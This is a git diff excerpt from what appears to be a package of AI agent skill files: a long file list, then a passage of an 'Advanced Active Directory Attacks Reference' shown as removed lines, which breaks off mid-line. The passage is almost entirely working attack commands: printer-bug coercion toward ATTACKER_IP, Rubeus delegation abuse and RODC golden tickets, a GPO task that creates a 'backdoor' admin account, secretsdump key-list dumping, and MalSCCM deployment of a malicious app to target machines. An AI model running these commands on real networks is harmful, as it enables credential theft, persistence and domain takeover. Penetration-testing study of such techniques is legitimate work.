- package/skills/pci-compliance/SKILL.md +478 -0
- package/skills/pdf/LICENSE.txt +30 -0
- package/skills/pdf/SKILL.md +196 -6
- package/skills/pdf/forms.md +205 -0
- package/skills/pdf/reference.md +612 -0
- package/skills/pdf/scripts/check_bounding_boxes.py +70 -0
- package/skills/pdf/scripts/check_bounding_boxes_test.py +226 -0
- package/skills/pdf/scripts/check_fillable_fields.py +12 -0
- package/skills/pdf/scripts/convert_pdf_to_images.py +35 -0
- package/skills/pdf/scripts/create_validation_image.py +41 -0
- package/skills/pdf/scripts/extract_form_field_info.py +152 -0
- package/skills/pdf/scripts/fill_fillable_fields.py +114 -0
- package/skills/pdf/scripts/fill_pdf_form_with_annotations.py +108 -0
- package/skills/performance-engineer/SKILL.md +180 -0
- package/skills/performance-testing-review-ai-review/SKILL.md +450 -0
- package/skills/performance-testing-review-multi-agent-review/SKILL.md +216 -0
- package/skills/php-pro/SKILL.md +46 -78
- package/skills/playwright-skill/run.js +0 -0
- package/skills/podcast-generation/SKILL.md +0 -2
- package/skills/posix-shell-pro/SKILL.md +304 -0
- package/skills/postgresql/SKILL.md +230 -0
- package/skills/postmortem-writing/SKILL.md +386 -0
- package/skills/pptx/LICENSE.txt +30 -0
- package/skills/pptx/SKILL.md +456 -86
- package/skills/pptx/html2pptx.md +625 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd +1499 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd +146 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd +1085 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd +11 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd +3081 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd +23 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd +185 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd +287 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd +1676 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd +28 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd +144 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd +174 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd +25 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd +18 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd +59 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd +56 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd +195 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd +582 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd +25 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd +4439 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd +570 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd +509 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd +12 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd +108 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd +96 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd +3646 -0
- package/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd +116 -0
- package/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd +42 -0
- package/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd +50 -0
- package/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd +49 -0
- package/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd +33 -0
- package/skills/pptx/ooxml/schemas/mce/mc.xsd +75 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-2010.xsd +560 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-2012.xsd +67 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-2018.xsd +14 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-cex-2018.xsd +20 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-cid-2016.xsd +13 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd +4 -0
- package/skills/pptx/ooxml/schemas/microsoft/wml-symex-2015.xsd +8 -0
- package/skills/pptx/ooxml/scripts/pack.py +159 -0
- package/skills/pptx/ooxml/scripts/unpack.py +29 -0
- package/skills/pptx/ooxml/scripts/validate.py +69 -0
- package/skills/pptx/ooxml/scripts/validation/__init__.py +15 -0
- package/skills/pptx/ooxml/scripts/validation/base.py +951 -0
- package/skills/pptx/ooxml/scripts/validation/docx.py +274 -0
- package/skills/pptx/ooxml/scripts/validation/pptx.py +315 -0
- package/skills/pptx/ooxml/scripts/validation/redlining.py +279 -0
- package/skills/pptx/ooxml.md +427 -0
- package/skills/pptx/scripts/html2pptx.js +979 -0
- package/skills/pptx/scripts/inventory.py +1020 -0
- package/skills/pptx/scripts/rearrange.py +231 -0
- package/skills/pptx/scripts/replace.py +385 -0
- package/skills/pptx/scripts/thumbnail.py +450 -0
- package/skills/pptx-official/ooxml/scripts/pack.py +0 -0
- package/skills/pptx-official/ooxml/scripts/unpack.py +0 -0
- package/skills/pptx-official/ooxml/scripts/validate.py +0 -0
- package/skills/pptx-official/scripts/html2pptx.js +0 -0
- package/skills/pptx-official/scripts/inventory.py +0 -0
- package/skills/pptx-official/scripts/rearrange.py +0 -0
- package/skills/pptx-official/scripts/replace.py +0 -0
- package/skills/pptx-official/scripts/thumbnail.py +0 -0
- package/skills/projection-patterns/SKILL.md +33 -0
- package/skills/projection-patterns/resources/implementation-playbook.md +501 -0
- package/skills/prometheus-configuration/SKILL.md +404 -0
- package/skills/prompt-engineer/SKILL.md +243 -64
- package/skills/prompt-engineering-patterns/SKILL.md +213 -0
- package/skills/prompt-engineering-patterns/assets/few-shot-examples.json +106 -0
- package/skills/prompt-engineering-patterns/assets/prompt-template-library.md +246 -0
- package/skills/prompt-engineering-patterns/references/chain-of-thought.md +399 -0
- package/skills/prompt-engineering-patterns/references/few-shot-learning.md +369 -0
- package/skills/prompt-engineering-patterns/references/prompt-optimization.md +414 -0
- package/skills/prompt-engineering-patterns/references/prompt-templates.md +470 -0
- package/skills/prompt-engineering-patterns/references/system-prompts.md +189 -0
- package/skills/prompt-engineering-patterns/scripts/optimize-prompt.py +279 -0
- package/skills/protocol-reverse-engineering/SKILL.md +29 -0
- package/skills/protocol-reverse-engineering/resources/implementation-playbook.md +509 -0
- package/skills/pypict-skill/SKILL.md +22 -0
- package/skills/python-development-python-scaffold/SKILL.md +331 -0
- package/skills/python-packaging/SKILL.md +36 -0
- package/skills/python-packaging/resources/implementation-playbook.md +869 -0
- package/skills/python-performance-optimization/SKILL.md +36 -0
- package/skills/python-performance-optimization/resources/implementation-playbook.md +868 -0
- package/skills/python-pro/SKILL.md +155 -89
- package/skills/python-testing-patterns/SKILL.md +37 -0
- package/skills/python-testing-patterns/resources/implementation-playbook.md +906 -0
- package/skills/quant-analyst/SKILL.md +53 -0
- package/skills/radix-ui-design-system/SKILL.md +847 -0
- package/skills/radix-ui-design-system/examples/README.md +63 -0
- package/skills/radix-ui-design-system/examples/dialog-example.tsx +128 -0
- package/skills/radix-ui-design-system/examples/dropdown-example.tsx +162 -0
- package/skills/radix-ui-design-system/templates/component-template.tsx +148 -0
- package/skills/rag-implementation/SKILL.md +395 -37
- package/skills/react-modernization/SKILL.md +34 -0
- package/skills/react-modernization/resources/implementation-playbook.md +512 -0
- package/skills/react-native-architecture/SKILL.md +33 -0
- package/skills/react-native-architecture/resources/implementation-playbook.md +670 -0
- package/skills/react-state-management/SKILL.md +441 -0
- package/skills/readme/SKILL.md +775 -0
- package/skills/reference-builder/SKILL.md +188 -0
- package/skills/reverse-engineer/SKILL.md +173 -0
- package/skills/risk-manager/SKILL.md +61 -0
- package/skills/risk-metrics-calculation/SKILL.md +33 -0
- package/skills/risk-metrics-calculation/resources/implementation-playbook.md +554 -0
- package/skills/ruby-pro/SKILL.md +56 -0
- package/skills/rust-async-patterns/SKILL.md +33 -0
- package/skills/rust-async-patterns/resources/implementation-playbook.md +516 -0
- package/skills/rust-pro/SKILL.md +178 -0
- package/skills/saga-orchestration/SKILL.md +496 -0
- package/skills/sales-automator/SKILL.md +55 -0
- package/skills/sast-configuration/SKILL.md +212 -0
- package/skills/scala-pro/SKILL.md +82 -0
- package/skills/screen-reader-testing/SKILL.md +33 -0
- package/skills/screen-reader-testing/resources/implementation-playbook.md +544 -0
- package/skills/screenshots/SKILL.md +401 -0
- package/skills/search-specialist/SKILL.md +80 -0
- package/skills/secrets-management/SKILL.md +364 -0
- package/skills/security-auditor/SKILL.md +169 -0
- package/skills/security-bluebook-builder/SKILL.md +22 -0
- package/skills/security-compliance-compliance-check/SKILL.md +55 -0
- package/skills/security-compliance-compliance-check/resources/implementation-playbook.md +963 -0
- package/skills/security-requirement-extraction/SKILL.md +33 -0
- package/skills/security-requirement-extraction/resources/implementation-playbook.md +676 -0
- package/skills/security-scanning-security-dependencies/SKILL.md +43 -0
- package/skills/security-scanning-security-dependencies/resources/implementation-playbook.md +544 -0
- package/skills/security-scanning-security-hardening/SKILL.md +147 -0
- package/skills/security-scanning-security-sast/SKILL.md +495 -0
- package/skills/senior-architect/scripts/architecture_diagram_generator.py +0 -0
- package/skills/senior-architect/scripts/dependency_analyzer.py +0 -0
- package/skills/senior-architect/scripts/project_architect.py +0 -0
- package/skills/senior-backend/scripts/api_load_tester.py +0 -0
- package/skills/senior-backend/scripts/api_scaffolder.py +0 -0
- package/skills/senior-backend/scripts/database_migration_tool.py +0 -0
- package/skills/senior-computer-vision/scripts/dataset_pipeline_builder.py +0 -0
- package/skills/senior-computer-vision/scripts/inference_optimizer.py +0 -0
- package/skills/senior-computer-vision/scripts/vision_model_trainer.py +0 -0
- package/skills/senior-data-engineer/scripts/data_quality_validator.py +0 -0
- package/skills/senior-data-engineer/scripts/etl_performance_optimizer.py +0 -0
- package/skills/senior-data-engineer/scripts/pipeline_orchestrator.py +0 -0
- package/skills/senior-data-scientist/scripts/experiment_designer.py +0 -0
- package/skills/senior-data-scientist/scripts/feature_engineering_pipeline.py +0 -0
- package/skills/senior-data-scientist/scripts/model_evaluation_suite.py +0 -0
- package/skills/senior-devops/scripts/deployment_manager.py +0 -0
- package/skills/senior-devops/scripts/pipeline_generator.py +0 -0
- package/skills/senior-devops/scripts/terraform_scaffolder.py +0 -0
- package/skills/senior-frontend/scripts/bundle_analyzer.py +0 -0
- package/skills/senior-frontend/scripts/component_generator.py +0 -0
- package/skills/senior-frontend/scripts/frontend_scaffolder.py +0 -0
- package/skills/senior-fullstack/scripts/code_quality_analyzer.py +0 -0
- package/skills/senior-fullstack/scripts/fullstack_scaffolder.py +0 -0
- package/skills/senior-fullstack/scripts/project_scaffolder.py +0 -0
- package/skills/senior-ml-engineer/scripts/ml_monitoring_suite.py +0 -0
- package/skills/senior-ml-engineer/scripts/model_deployment_pipeline.py +0 -0
- package/skills/senior-ml-engineer/scripts/rag_system_builder.py +0 -0
- package/skills/senior-prompt-engineer/scripts/agent_orchestrator.py +0 -0
- package/skills/senior-prompt-engineer/scripts/prompt_optimizer.py +0 -0
- package/skills/senior-prompt-engineer/scripts/rag_evaluator.py +0 -0
- package/skills/senior-qa/scripts/coverage_analyzer.py +0 -0
- package/skills/senior-qa/scripts/e2e_test_scaffolder.py +0 -0
- package/skills/senior-qa/scripts/test_suite_generator.py +0 -0
- package/skills/senior-secops/scripts/compliance_checker.py +0 -0
- package/skills/senior-secops/scripts/security_scanner.py +0 -0
- package/skills/senior-secops/scripts/vulnerability_assessor.py +0 -0
- package/skills/senior-security/scripts/pentest_automator.py +0 -0
- package/skills/senior-security/scripts/security_auditor.py +0 -0
- package/skills/senior-security/scripts/threat_modeler.py +0 -0
- package/skills/seo-authority-builder/SKILL.md +136 -0
- package/skills/seo-cannibalization-detector/SKILL.md +123 -0
- package/skills/seo-content-auditor/SKILL.md +83 -0
- package/skills/seo-content-planner/SKILL.md +108 -0
- package/skills/seo-content-refresher/SKILL.md +118 -0
- package/skills/seo-content-writer/SKILL.md +96 -0
- package/skills/seo-keyword-strategist/SKILL.md +95 -0
- package/skills/seo-meta-optimizer/SKILL.md +92 -0
- package/skills/seo-snippet-hunter/SKILL.md +114 -0
- package/skills/seo-structure-architect/SKILL.md +108 -0
- package/skills/service-mesh-expert/SKILL.md +58 -0
- package/skills/service-mesh-observability/SKILL.md +395 -0
- package/skills/sharp-edges/SKILL.md +70 -0
- package/skills/shellcheck-configuration/SKILL.md +466 -0
- package/skills/similarity-search-patterns/SKILL.md +33 -0
- package/skills/similarity-search-patterns/resources/implementation-playbook.md +557 -0
- package/skills/skill-creator/scripts/init_skill.py +0 -0
- package/skills/skill-creator/scripts/package_skill.py +0 -0
- package/skills/skill-creator/scripts/quick_validate.py +0 -0
- package/skills/skill-rails-upgrade/SKILL.md +408 -0
- package/skills/skill-seekers/SKILL.md +22 -0
- package/skills/slack-gif-creator/core/easing.py +0 -0
- package/skills/slack-gif-creator/core/frame_composer.py +0 -0
- package/skills/slack-gif-creator/core/gif_builder.py +0 -0
- package/skills/slack-gif-creator/core/validators.py +0 -0
- package/skills/slo-implementation/SKILL.md +341 -0
- package/skills/solidity-security/SKILL.md +34 -0
- package/skills/solidity-security/resources/implementation-playbook.md +524 -0
- package/skills/spark-optimization/SKILL.md +427 -0
- package/skills/sql-optimization-patterns/SKILL.md +35 -0
- package/skills/sql-optimization-patterns/resources/implementation-playbook.md +504 -0
- package/skills/sql-pro/SKILL.md +170 -94
- package/skills/startup-analyst/SKILL.md +328 -0
- package/skills/startup-business-analyst-business-case/SKILL.md +487 -0
- package/skills/startup-business-analyst-financial-projections/SKILL.md +353 -0
- package/skills/startup-business-analyst-market-opportunity/SKILL.md +240 -0
- package/skills/startup-financial-modeling/SKILL.md +467 -0
- package/skills/startup-metrics-framework/SKILL.md +34 -0
- package/skills/startup-metrics-framework/resources/implementation-playbook.md +500 -0
- package/skills/stitch-ui-design/README.md +165 -0
- package/skills/stitch-ui-design/SKILL.md +378 -0
- package/skills/stitch-ui-design/references/advanced-techniques.md +541 -0
- package/skills/stitch-ui-design/references/prompt-examples.md +601 -0
- package/skills/stride-analysis-patterns/SKILL.md +33 -0
- package/skills/stride-analysis-patterns/resources/implementation-playbook.md +655 -0
- package/skills/stripe-integration/SKILL.md +429 -44
- package/skills/superpowers-lab/SKILL.md +22 -0
- package/skills/swiftui-expert-skill/SKILL.md +275 -0
- package/skills/systematic-debugging/find-polluter.sh +0 -0
- package/skills/systems-programming-rust-project/SKILL.md +440 -0
- package/skills/tailwind-design-system/SKILL.md +33 -0
- package/skills/tailwind-design-system/resources/implementation-playbook.md +665 -0
- package/skills/tdd-orchestrator/SKILL.md +205 -0
- package/skills/tdd-workflows-tdd-cycle/SKILL.md +221 -0
- package/skills/tdd-workflows-tdd-green/SKILL.md +73 -0
- package/skills/tdd-workflows-tdd-green/resources/implementation-playbook.md +870 -0
- package/skills/tdd-workflows-tdd-red/SKILL.md +164 -0
- package/skills/tdd-workflows-tdd-refactor/SKILL.md +187 -0
- package/skills/team-collaboration-issue/SKILL.md +37 -0
- package/skills/team-collaboration-issue/resources/implementation-playbook.md +640 -0
- package/skills/team-collaboration-standup-notes/SKILL.md +44 -0
- package/skills/team-collaboration-standup-notes/resources/implementation-playbook.md +768 -0
- package/skills/team-composition-analysis/SKILL.md +413 -0
- package/skills/temporal-python-pro/SKILL.md +370 -0
- package/skills/temporal-python-testing/SKILL.md +170 -0
- package/skills/temporal-python-testing/resources/integration-testing.md +455 -0
- package/skills/temporal-python-testing/resources/local-setup.md +553 -0
- package/skills/temporal-python-testing/resources/replay-testing.md +462 -0
- package/skills/temporal-python-testing/resources/unit-testing.md +328 -0
- package/skills/terraform-module-library/SKILL.md +261 -0
- package/skills/terraform-module-library/references/aws-modules.md +63 -0
- package/skills/terraform-skill/SKILL.md +517 -0
- package/skills/terraform-specialist/SKILL.md +166 -0
- package/skills/test-automator/SKILL.md +224 -0
- package/skills/threat-mitigation-mapping/SKILL.md +33 -0
- package/skills/threat-mitigation-mapping/resources/implementation-playbook.md +744 -0
- package/skills/threat-modeling-expert/SKILL.md +60 -0
- package/skills/threejs-skills/SKILL.md +22 -0
- package/skills/tool-design/SKILL.md +318 -0
- package/skills/track-management/SKILL.md +38 -0
- package/skills/track-management/resources/implementation-playbook.md +591 -0
- package/skills/turborepo-caching/SKILL.md +419 -0
- package/skills/tutorial-engineer/SKILL.md +139 -0
- package/skills/typescript-advanced-types/SKILL.md +35 -0
- package/skills/typescript-advanced-types/resources/implementation-playbook.md +716 -0
- package/skills/typescript-pro/SKILL.md +52 -91
- package/skills/ui-skills/SKILL.md +22 -0
- package/skills/ui-ux-designer/SKILL.md +209 -0
- package/skills/ui-ux-pro-max/SKILL.md +351 -351
- package/skills/ui-ux-pro-max/data/charts.csv +25 -25
- package/skills/ui-ux-pro-max/data/colors.csv +96 -96
- package/skills/ui-ux-pro-max/data/landing.csv +30 -30
- package/skills/ui-ux-pro-max/data/products.csv +96 -96
- package/skills/ui-ux-pro-max/data/prompts.csv +20 -20
- package/skills/ui-ux-pro-max/data/stacks/flutter.csv +53 -53
- package/skills/ui-ux-pro-max/data/stacks/html-tailwind.csv +56 -56
- package/skills/ui-ux-pro-max/data/stacks/nextjs.csv +53 -53
- package/skills/ui-ux-pro-max/data/stacks/react-native.csv +52 -52
- package/skills/ui-ux-pro-max/data/stacks/react.csv +54 -54
- package/skills/ui-ux-pro-max/data/stacks/svelte.csv +54 -54
- package/skills/ui-ux-pro-max/data/stacks/swiftui.csv +51 -51
- package/skills/ui-ux-pro-max/data/stacks/vue.csv +50 -50
- package/skills/ui-ux-pro-max/data/styles.csv +58 -58
- package/skills/ui-ux-pro-max/data/ux-guidelines.csv +99 -99
- package/skills/ui-ux-pro-max/scripts/search.py +76 -76
- package/skills/ui-visual-validator/SKILL.md +214 -0
- package/skills/unit-testing-test-generate/SKILL.md +319 -0
- package/skills/unity-developer/SKILL.md +230 -0
- package/skills/unity-ecs-patterns/SKILL.md +33 -0
- package/skills/unity-ecs-patterns/resources/implementation-playbook.md +625 -0
- package/skills/unreal-engine-cpp-pro/SKILL.md +114 -0
- package/skills/unreal-engine-cpp-pro/examples/ExampleActor.cpp +43 -0
- package/skills/unreal-engine-cpp-pro/examples/ExampleActor.h +57 -0
- package/skills/upgrading-expo/SKILL.md +108 -12
- package/skills/using-neon/SKILL.md +84 -0
- package/skills/uv-package-manager/SKILL.md +37 -0
- package/skills/uv-package-manager/resources/implementation-playbook.md +830 -0
- package/skills/varlock-claude-skill/SKILL.md +22 -0
- package/skills/vector-database-engineer/SKILL.md +60 -0
- package/skills/vector-index-tuning/SKILL.md +42 -0
- package/skills/vector-index-tuning/resources/implementation-playbook.md +507 -0
- package/skills/vercel-deploy-claimable/SKILL.md +120 -0
- package/skills/vercel-deployment/SKILL.md +10 -0
- package/skills/vexor/SKILL.md +22 -0
- package/skills/wcag-audit-patterns/SKILL.md +41 -0
- package/skills/wcag-audit-patterns/resources/implementation-playbook.md +541 -0
- package/skills/web-artifacts-builder/scripts/bundle-artifact.sh +0 -0
- package/skills/web-artifacts-builder/scripts/init-artifact.sh +0 -0
- package/skills/web3-testing/SKILL.md +427 -0
- package/skills/webapp-testing/scripts/with_server.py +0 -0
- package/skills/workflow-orchestration-patterns/SKILL.md +333 -0
- package/skills/workflow-patterns/SKILL.md +38 -0
- package/skills/workflow-patterns/resources/implementation-playbook.md +621 -0
- package/skills/writing-skills/SKILL.md +84 -696
- package/skills/writing-skills/examples.md +282 -0
- package/skills/writing-skills/gotchas.md +197 -0
- package/skills/writing-skills/references/anti-rationalization/README.md +255 -0
- package/skills/writing-skills/references/cso/README.md +268 -0
- package/skills/writing-skills/references/standards/README.md +152 -0
- package/skills/writing-skills/references/standards/metadata-standard.md +65 -0
- package/skills/writing-skills/references/templates/discipline.md +54 -0
- package/skills/writing-skills/references/templates/pattern.md +48 -0
- package/skills/writing-skills/references/templates/reference.md +35 -0
- package/skills/writing-skills/references/templates/technique.md +59 -0
- package/skills/writing-skills/references/templates/tier-3-platform.md +19 -0
- package/skills/writing-skills/references/testing/README.md +204 -0
- package/skills/writing-skills/references/tier-1-simple/README.md +75 -0
- package/skills/writing-skills/references/tier-2-expanded/README.md +69 -0
- package/skills/writing-skills/references/tier-3-platform/README.md +98 -0
- package/skills/writing-skills/render-graphs.js +0 -0
- package/skills/x-article-publisher-skill/SKILL.md +22 -0
- package/skills/xlsx/LICENSE.txt +30 -0
- package/skills/xlsx/SKILL.md +217 -28
- package/skills/xlsx/recalc.py +178 -0
|
@@ -1,382 +1,382 @@
|
|
|
1
|
-
# Advanced Active Directory Attacks Reference
|
|
2
|
-
|
|
3
|
-
## Table of Contents
|
|
4
|
-
1. [Delegation Attacks](#delegation-attacks)
|
|
5
|
-
2. [Group Policy Object Abuse](#group-policy-object-abuse)
|
|
6
|
-
3. [RODC Attacks](#rodc-attacks)
|
|
7
|
-
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
|
|
8
|
-
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
|
|
9
|
-
6. [Trust Relationship Attacks](#trust-relationship-attacks)
|
|
10
|
-
7. [ADFS Golden SAML](#adfs-golden-saml)
|
|
11
|
-
8. [Credential Sources](#credential-sources)
|
|
12
|
-
9. [Linux AD Integration](#linux-ad-integration)
|
|
13
|
-
|
|
14
|
-
---
|
|
15
|
-
|
|
16
|
-
## Delegation Attacks
|
|
17
|
-
|
|
18
|
-
### Unconstrained Delegation
|
|
19
|
-
|
|
20
|
-
When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
|
|
21
|
-
|
|
22
|
-
**Find Delegation:**
|
|
23
|
-
```powershell
|
|
24
|
-
# PowerShell
|
|
25
|
-
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
|
26
|
-
|
|
27
|
-
# BloodHound
|
|
28
|
-
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
|
29
|
-
```
|
|
30
|
-
|
|
31
|
-
**SpoolService Abuse:**
|
|
32
|
-
```bash
|
|
33
|
-
# Check spooler service
|
|
34
|
-
ls \\dc01\pipe\spoolss
|
|
35
|
-
|
|
36
|
-
# Trigger with SpoolSample
|
|
37
|
-
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
|
|
38
|
-
|
|
39
|
-
# Or with printerbug.py
|
|
40
|
-
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
|
|
41
|
-
```
|
|
42
|
-
|
|
43
|
-
**Monitor with Rubeus:**
|
|
44
|
-
```powershell
|
|
45
|
-
Rubeus.exe monitor /interval:1
|
|
46
|
-
```
|
|
47
|
-
|
|
48
|
-
### Constrained Delegation
|
|
49
|
-
|
|
50
|
-
**Identify:**
|
|
51
|
-
```powershell
|
|
52
|
-
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
|
|
53
|
-
```
|
|
54
|
-
|
|
55
|
-
**Exploit with Rubeus:**
|
|
56
|
-
```powershell
|
|
57
|
-
# S4U2 attack
|
|
58
|
-
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
|
59
|
-
```
|
|
60
|
-
|
|
61
|
-
**Exploit with Impacket:**
|
|
62
|
-
```bash
|
|
63
|
-
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
|
|
64
|
-
```
|
|
65
|
-
|
|
66
|
-
### Resource-Based Constrained Delegation (RBCD)
|
|
67
|
-
|
|
68
|
-
```powershell
|
|
69
|
-
# Create machine account
|
|
70
|
-
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
|
|
71
|
-
|
|
72
|
-
# Set delegation
|
|
73
|
-
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
|
|
74
|
-
|
|
75
|
-
# Get ticket
|
|
76
|
-
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
|
77
|
-
```
|
|
78
|
-
|
|
79
|
-
---
|
|
80
|
-
|
|
81
|
-
## Group Policy Object Abuse
|
|
82
|
-
|
|
83
|
-
### Find Vulnerable GPOs
|
|
84
|
-
|
|
85
|
-
```powershell
|
|
86
|
-
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
|
|
87
|
-
```
|
|
88
|
-
|
|
89
|
-
### Abuse with SharpGPOAbuse
|
|
90
|
-
|
|
91
|
-
```powershell
|
|
92
|
-
# Add local admin
|
|
93
|
-
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
|
|
94
|
-
|
|
95
|
-
# Add user rights
|
|
96
|
-
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
|
|
97
|
-
|
|
98
|
-
# Add immediate task
|
|
99
|
-
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
|
|
100
|
-
```
|
|
101
|
-
|
|
102
|
-
### Abuse with pyGPOAbuse (Linux)
|
|
103
|
-
|
|
104
|
-
```bash
|
|
105
|
-
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
|
|
106
|
-
```
|
|
107
|
-
|
|
108
|
-
---
|
|
109
|
-
|
|
110
|
-
## RODC Attacks
|
|
111
|
-
|
|
112
|
-
### RODC Golden Ticket
|
|
113
|
-
|
|
114
|
-
RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
|
|
115
|
-
|
|
116
|
-
### RODC Key List Attack
|
|
117
|
-
|
|
118
|
-
**Requirements:**
|
|
119
|
-
- krbtgt credentials of the RODC (-rodcKey)
|
|
120
|
-
- ID of the krbtgt account of the RODC (-rodcNo)
|
|
121
|
-
|
|
122
|
-
```bash
|
|
123
|
-
# Impacket keylistattack
|
|
124
|
-
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
|
|
125
|
-
|
|
126
|
-
# Using secretsdump with keylist
|
|
127
|
-
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
|
|
128
|
-
```
|
|
129
|
-
|
|
130
|
-
**Using Rubeus:**
|
|
131
|
-
```powershell
|
|
132
|
-
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
|
|
133
|
-
```
|
|
134
|
-
|
|
135
|
-
---
|
|
136
|
-
|
|
137
|
-
## SCCM/WSUS Deployment
|
|
138
|
-
|
|
139
|
-
### SCCM Attack with MalSCCM
|
|
140
|
-
|
|
141
|
-
```bash
|
|
142
|
-
# Locate SCCM server
|
|
143
|
-
MalSCCM.exe locate
|
|
144
|
-
|
|
145
|
-
# Enumerate targets
|
|
146
|
-
MalSCCM.exe inspect /all
|
|
147
|
-
MalSCCM.exe inspect /computers
|
|
148
|
-
|
|
149
|
-
# Create target group
|
|
150
|
-
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
|
|
151
|
-
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
|
|
152
|
-
|
|
153
|
-
# Create malicious app
|
|
154
|
-
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
|
|
155
|
-
|
|
156
|
-
# Deploy
|
|
157
|
-
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
|
|
158
|
-
|
|
159
|
-
# Force checkin
|
|
160
|
-
MalSCCM.exe checkin /groupname:TargetGroup
|
|
161
|
-
|
|
162
|
-
# Cleanup
|
|
163
|
-
MalSCCM.exe app /cleanup /name:backdoor
|
|
164
|
-
MalSCCM.exe group /delete /groupname:TargetGroup
|
|
165
|
-
```
|
|
166
|
-
|
|
167
|
-
### SCCM Network Access Accounts
|
|
168
|
-
|
|
169
|
-
```powershell
|
|
170
|
-
# Find SCCM blob
|
|
171
|
-
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
|
|
172
|
-
|
|
173
|
-
# Decrypt with SharpSCCM
|
|
174
|
